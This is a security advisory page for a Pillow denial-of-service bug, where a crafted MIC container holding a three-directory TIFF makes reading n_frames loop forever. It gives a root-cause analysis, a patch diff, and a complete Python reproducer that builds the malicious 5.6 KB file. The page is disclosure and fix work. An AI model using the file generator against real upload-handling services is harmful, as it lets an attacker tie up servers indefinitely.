High

Pillow: Infinite loop in MIC n_frames when the embedded TIFF

  • Disclosed: 21.10.2026
  • Updated: 22.10.2026 00:06
============================================================================
Infinite loop in MIC n_frames when the embedded TIFF has 3+ IFDs
Location: src/PIL/MicImagePlugin.py:86  in MicImageFile.tell()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

A crafted 5.6 KB image file makes Pillow loop forever at 100% CPU when an application asks how many frames the image has. This only affects installations that have the optional olefile package. Any application that opens an untrusted image and then reads im.n_frames can have one worker tied up indefinitely. That includes the common "is this image animated?" check and re-saving with save_all=True to TIFF, PDF or WebP. The call never returns, raises no exception, and does not grow memory, so only an external watchdog stops it.

The file is a Microsoft Image Composer (MIC) container, which Pillow recognises by its magic bytes with no extension needed. Inside it is a TIFF stream with three chained image directories. MicImageFile subclasses TiffImageFile and overrides seek() and tell() so that a "frame" means one stream in the container. It still inherits TiffImageFile.n_frames (src/PIL/TiffImagePlugin.py:1212), which walks the embedded TIFF's directory chain with self._seek(self.tell() + 1) until _n_frames is set. Two things stop that walk from making progress:

  • MicImageFile.tell() (src/PIL/MicImagePlugin.py:86) returns the constant stream index.
  • MicImageFile.seek() calls TiffImageFile._open(), which resets _n_frames to None.

As a result, the loop re-parses the second directory forever whenever the embedded stream has three or more directories. Image.open(), load(), thumbnail(), convert(), is_animated and ImageSequence iteration do not hang on this file. The regression was introduced in 0b33a87b0d15 (April 2020, first released in 7.2.0), which removed MicImageFile's own n_frames property. The attached reproducer builds the file in code and checks two controls, which return 3 and 1 frames as expected; the malicious file is still running when it is killed after 20 seconds.

Details

MicImageFile (registered for Image.open whenever olefile is installed) subclasses TiffImageFile and redefines a "frame" as one OLE *.ACI/Image stream, overriding seek() and tell() accordingly. It does not override the n_frames property, so the inherited TIFF implementation runs, and that implementation relies on tell() advancing as IFDs are loaded. MicImageFile.tell() returns the OLE stream index, which never changes inside n_frames, so the loop re-parses the same IFD forever.

A 5632-byte OLE2 compound file whose img0.ACI/Image stream is a 351-byte TIFF with three chained 1×1 IFDs is enough. Image.open() on it succeeds (format MIC, detected by the OLE magic, no extension needed); evaluating im.n_frames then never returns and keeps one core at 100 %. A Python stack taken 27 s in is

  File "src/PIL/TiffImagePlugin.py", line 1622 in _setup
  File "src/PIL/TiffImagePlugin.py", line 1271 in _seek
  File "src/PIL/TiffImagePlugin.py", line 1219 in n_frames

and instrumenting _seek shows it being called with frame=1, tell()==0, _frame_pos==[8, 122], _n_frames is None on every iteration — identical state, so the loop is non-terminating, not merely slow. The same 351 TIFF bytes opened directly give n_frames == 3 in milliseconds, and the same container around a 1-IFD TIFF gives n_frames == 1.

The loop, src/PIL/TiffImagePlugin.py:1212:

python
    @property
    def n_frames(self) -> int:
        current_n_frames = self._n_frames
        if current_n_frames is None:
            current = self.tell()
            self._seek(len(self._frame_pos))
            while self._n_frames is None:
                self._seek(self.tell() + 1)      # 1219
            self.seek(current)

and the overrides that break its progress assumption, src/PIL/MicImagePlugin.py:76:

python
    def seek(self, frame: int) -> None:
        …
        self.fp = self.ole.openstream(filename)
        TiffImagePlugin.TiffImageFile._open(self)   # 82: resets _n_frames to None
        self.frame = frame

    def tell(self) -> int:
        return self.frame                            # 87: OLE stream index, not TIFF __frame

For a plain TIFF, _seek(k) (TiffImagePlugin.py:1236) loads IFDs up to k, appending each offset to _frame_pos, setting _n_frames when an IFD's next-pointer is 0 (or already seen), and setting the private __frame = k; TiffImageFile.tell() returns __frame, so self.tell() + 1 walks the chain to its end.

For a MIC file, Image.open → MicImageFile._open sets self._n_frames = len(self.images) at line 69, but then calls self.seek(0) → TiffImageFile._open (line 82), which unconditionally sets self._n_frames = None (TiffImagePlugin.py:1203) and _seek(0)s into the embedded stream. With the 3-IFD stream, IFD 0 has a non-zero next pointer, so _n_frames stays None after open. n_frames then runs: current = self.tell() is 0 (the OLE index); _seek(len(_frame_pos)) = _seek(1) loads IFD 1, whose next pointer is also non-zero and not yet in _frame_pos, so _n_frames is still None. The while body computes self.tell() + 1 = 0 + 1 and calls _seek(1) again; len(_frame_pos) is already 2, so nothing new is loaded — IFD 1 is re-read via tag_v2.load and _setup() and the state is unchanged. This repeats indefinitely; IFD 2 is never reached. Two chained IFDs are not enough (IFD 1's next pointer of 0 sets _n_frames = 2 on the first _seek(1)); three or more are.

Tests/test_file_mic.py::test_n_frames passes only because hopper.mic's stream has a single IFD, so _seek(0) sets _n_frames = 1 and the loop is never entered; the len(self.images) assignment at line 69 is only consumed by the initial _seek_check(0) and is overwritten before any caller can read n_frames.

A side effect of the same mismatch: with a 2-IFD stream n_frames returns 2 (TIFF IFDs) while seek(1) indexes self.images[1] (OLE streams) and raises IndexError — visible with save_all=True.

Impact

Any application that lets Pillow open an uploaded file and then reads im.n_frames — the usual way to decide whether an image is animated (getattr(im, "n_frames", 1) > 1), and also what hasattr(im, "n_frames")/getattr(im, "n_frames", 1) in Pillow's own TiffImagePlugin._save_all (:2333), PdfImagePlugin._save (:250) and WebPImagePlugin._save_all (:171) evaluate when the app re-saves with save_all=True — can be made to spin one worker at 100 % CPU indefinitely with a 5.6 KB upload. The file needs no particular extension (OLE magic; FpxImagePlugin rejects it on CLSID and MicImagePlugin accepts it), default limits do not intervene, memory does not grow, and no exception is raised, so only an external watchdog ends it. Preconditions: olefile installed (it is an optional dependency; without it the MIC plugin is not registered) and the application touching n_frames or a save_all path. Image.open() itself, load(), thumbnail(), convert(), is_animated and ImageSequence iteration do not hang on this file. This is the same class of tiny-file, pure-Python non-termination as CVE-2021-28676 (FLI) and CVE-2021-28677 (EPS), and like CVE-2019-19911 (FPX) it depends on olefile; it differs in not being reached by the default open/load path. The regression was introduced in 0b33a87b0d15 ("Replaced property methods for n_frames and is_animated with normal properties", 2020-04-13), first released in 7.2.0, which replaced MicImageFile's own n_frames property with the _n_frames attribute that TiffImageFile._open overwrites.

Reproducing

repro is a single Python script that runs against the installed Pillow (with olefile, which is what registers the MIC plugin). It builds every input in code, writes each one to a temporary file named x with no extension (so Pillow identifies the format from its magic bytes), and opens it in a child Python process that runs Image.open(path) and prints im.format and im.n_frames.

It builds two things in code:

  • tiff(n): an n-page TIFF of 4×4 greyscale frames written by Pillow itself (save_all=True), so the IFDs are chained exactly as Pillow's own writer chains them. The last next-IFD pointer is 0.
  • mic(stream): a minimal OLE2 compound file with a storage named img0.ACI that contains a stream named Image, which is the layout MicImageFile._open looks for. Sector 0 is the FAT and sector 1 is the directory. The stream starts at sector 2 and is padded to 4096 bytes, so the file doesn't need a mini-FAT. The result is 5632 bytes.

It runs three inputs, each in its own child process with a hard 20-second kill:

  1. control: the plain 3-page TIFF. Expected TIFF n_frames = 3.
  2. control: a MIC wrapping a 1-page TIFF. Expected MIC n_frames = 1.
  3. attack: the same MIC container wrapping the 3-page TIFF.

The timeout is enforced by killing the child rather than by an in-process alarm, because a TimeoutError raised while ImageFileDirectory_v2.load() is parsing would be caught by its except OSError (TiffImagePlugin.py:958) and leave the IFD half-parsed instead of stopping the loop.

The script prints BUG when both controls return and the attack child is still running after 20 seconds; otherwise it prints OK. With the attached patch applied, the attack case prints MIC n_frames = 1 and the script prints OK.

Suggested fix

The attached patch restores the OLE-level frame count after the embedded TIFF stream has been opened, so the inherited n_frames never enters its IFD-walking loop and n_frames/seek() agree on what a frame is. In MicImageFile.seek, src/PIL/MicImagePlugin.py:82, right after TiffImagePlugin.TiffImageFile._open(self):

diff
         TiffImagePlugin.TiffImageFile._open(self)
 
+        # TiffImageFile._open() resets the frame count to that of the
+        # embedded TIFF stream, but the frames of an MIC file are its streams
+        self._n_frames = len(self.images)
+        self.is_animated = self._n_frames > 1
+
         self.frame = frame

Doing this in seek() restores the invariant on every seek, not only the first. The existing assignments at lines 69–70 of _open are kept: the initial seek(0) → _seek_check(0) reads n_frames before TiffImageFile._open has run, so they are still needed. Plain read-only n_frames/is_animated properties, as before 0b33a87b0, are no longer a drop-in option because TiffImageFile._seek assigns self.is_animated. With the patch applied to a clean tree and rebuilt, the attack file returns n_frames == 1 immediately, a 2-IFD stream raises EOFError on seek(1) instead of IndexError, save_all=True to TIFF and PDF completes, and Tests/test_file_mic.py and Tests/test_file_tiff.py pass. No regression test is included, since one would need a new binary MIC fixture in Tests/images.

The patch passed that check but has not been reviewed beyond it as the final form of the fix. Two things it leaves alone: it does not add the _im reset that TiffImageFile.seek performs after _seek (TiffImagePlugin.py:1229), which matters when switching between OLE streams of different size or mode; and TiffImageFile.n_frames still advances via the overridable tell() rather than its private __frame, so making it iterate on __frame would protect any other subclass that redefines tell().

The patch

Restore the OLE stream frame count in MicImageFile.seek() after TiffImageFile._open() resets it, so n_frames cannot loop forever

Applies to src/PIL/MicImagePlugin.py at the commit above. It passed the mechanical check — applied to a clean tree, rebuilt, the reproducer stopped firing — but a reviewer did not endorse it as the right fix.

diff
diff --git a/src/PIL/MicImagePlugin.py b/src/PIL/MicImagePlugin.py
index f8cf3a76f..2bb0109ce 100644
--- a/src/PIL/MicImagePlugin.py
+++ b/src/PIL/MicImagePlugin.py
@@ -81,6 +81,11 @@ class MicImageFile(TiffImagePlugin.TiffImageFile):
 
         TiffImagePlugin.TiffImageFile._open(self)
 
+        # TiffImageFile._open() resets the frame count to that of the
+        # embedded TIFF stream, but the frames of an MIC file are its streams
+        self._n_frames = len(self.images)
+        self.is_animated = self._n_frames > 1
+
         self.frame = frame
 
     def tell(self) -> int:

The reproducer

Reproducer — repro, 2,330 bytes

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

python
#!/usr/bin/env python3
# MicImageFile inherits TiffImageFile.n_frames, whose loop `self._seek(self.tell()+1)`
# relies on tell() advancing; MicImageFile.tell() returns the OLE stream index (constant),
# so a MIC file whose Image stream is a TIFF with >=3 chained IFDs makes im.n_frames spin forever.
import io, struct, subprocess, sys, tempfile, os
from PIL import Image

def tiff(n):  # n-page TIFF written by Pillow itself
    b = io.BytesIO(); fr = [Image.new("L", (4, 4), i) for i in range(n)]
    fr[0].save(b, "TIFF", save_all=True, append_images=fr[1:]); return b.getvalue()

def mic(stream):  # minimal OLE2 file: storage "img0.ACI" containing stream "Image"
    END, FREE, FATSECT = 0xFFFFFFFE, 0xFFFFFFFF, 0xFFFFFFFD
    data = stream.ljust(4096, b"\0"); n = len(data) // 512
    fat = [FATSECT, END] + [3 + k for k in range(n - 1)] + [END]; fat += [FREE] * (128 - len(fat))
    def entry(name, kind, child, start, size):
        raw = name.encode("utf-16-le") + b"\0\0"
        return raw.ljust(64, b"\0") + struct.pack("<HBBiii", len(raw), kind, 1, -1, -1, child) + b"\0"*36 + struct.pack("<III", start, size, 0)
    d = entry("Root Entry", 5, 1, END, 0) + entry("img0.ACI", 1, 2, 0, 0) + entry("Image", 2, -1, 2, len(data)) + b"\0"*128
    hdr = (b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1" + b"\0"*16 + struct.pack("<HHHHH6x", 0x3E, 3, 0xFFFE, 9, 6)
           + struct.pack("<9I", 0, 1, 1, 0, 4096, END, 0, END, 0) + struct.pack("<I", 0) + b"\xff"*432)
    return hdr + struct.pack("<128I", *fat) + d + data

CHILD = "import sys;from PIL import Image;im=Image.open(sys.argv[1]);print(im.format, 'n_frames =', im.n_frames)"
def run(label, data, limit=20):
    p = os.path.join(tempfile.mkdtemp(), "x"); open(p, "wb").write(data)
    try:
        r = subprocess.run([sys.executable, "-c", CHILD, p], capture_output=True, text=True, timeout=limit)
        out = (r.stdout.strip() or r.stderr.strip().splitlines()[-1]); hung = False
    except subprocess.TimeoutExpired:
        out, hung = f"STILL RUNNING after {limit}s (killed)", True
    print(f"{label:32s} {len(data):6d} bytes -> {out}"); return hung

c1 = run("control: 3-page TIFF, direct", tiff(3))
c2 = run("control: MIC around 1-page TIFF", mic(tiff(1)))
bug = run("attack:  MIC around 3-page TIFF", mic(tiff(3)))
print("BUG" if bug and not c1 and not c2 else "OK")

What to do

Upgrade Pillow to version 13.0.0 or later.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pillow >= 7.2.0, < 13.0.0 13.0.0

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-835
Platform
Python (PyPI)
Package
pillow
Disclosed
21.10.2026
Updated
22.10.2026 00:06

Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.

OSV / GitHub Advisory Database - GHSA-22hg-r758-rrw9 - CC BY 4.0

Vulnerability history: pillow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (89) in the archive
Total entries
89
First → latest
04.2014 10.2026
Without a fix
0
Exploited in attacks
1

Severity breakdown

  • Critical 12
  • High 57
  • Medium 18
  • Low 1
  • Unrated 1

Disclosures per year

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 31

earlier: 12

Severity:
  1. Pillow: Infinite loop in MIC n_frames when the embedded TIFF this entry
    High CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  2. High CVE-2026-112405 >= 12.0.0, < 13.0.0 13.0.0
  3. High CVE-2026-112893 >= 10.0.0, < 13.0.0 13.0.0
  4. Critical CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  5. Critical CVE-2026-112403 < 13.0.0 13.0.0
  6. High · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  7. High CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  8. High · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  9. High CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  10. High · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  11. High · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  12. Critical · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  13. High · 8.8 Exploited in attacks CVE-2023-4863 < 10.0.1 10.0.1
  14. High · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  15. High · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  16. High · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  17. Critical · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  18. High · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  19. Critical · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  20. High · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  21. High · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  22. High · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  23. High · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  24. High · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  25. High · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
Show more (20) Showing 40 of 69

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.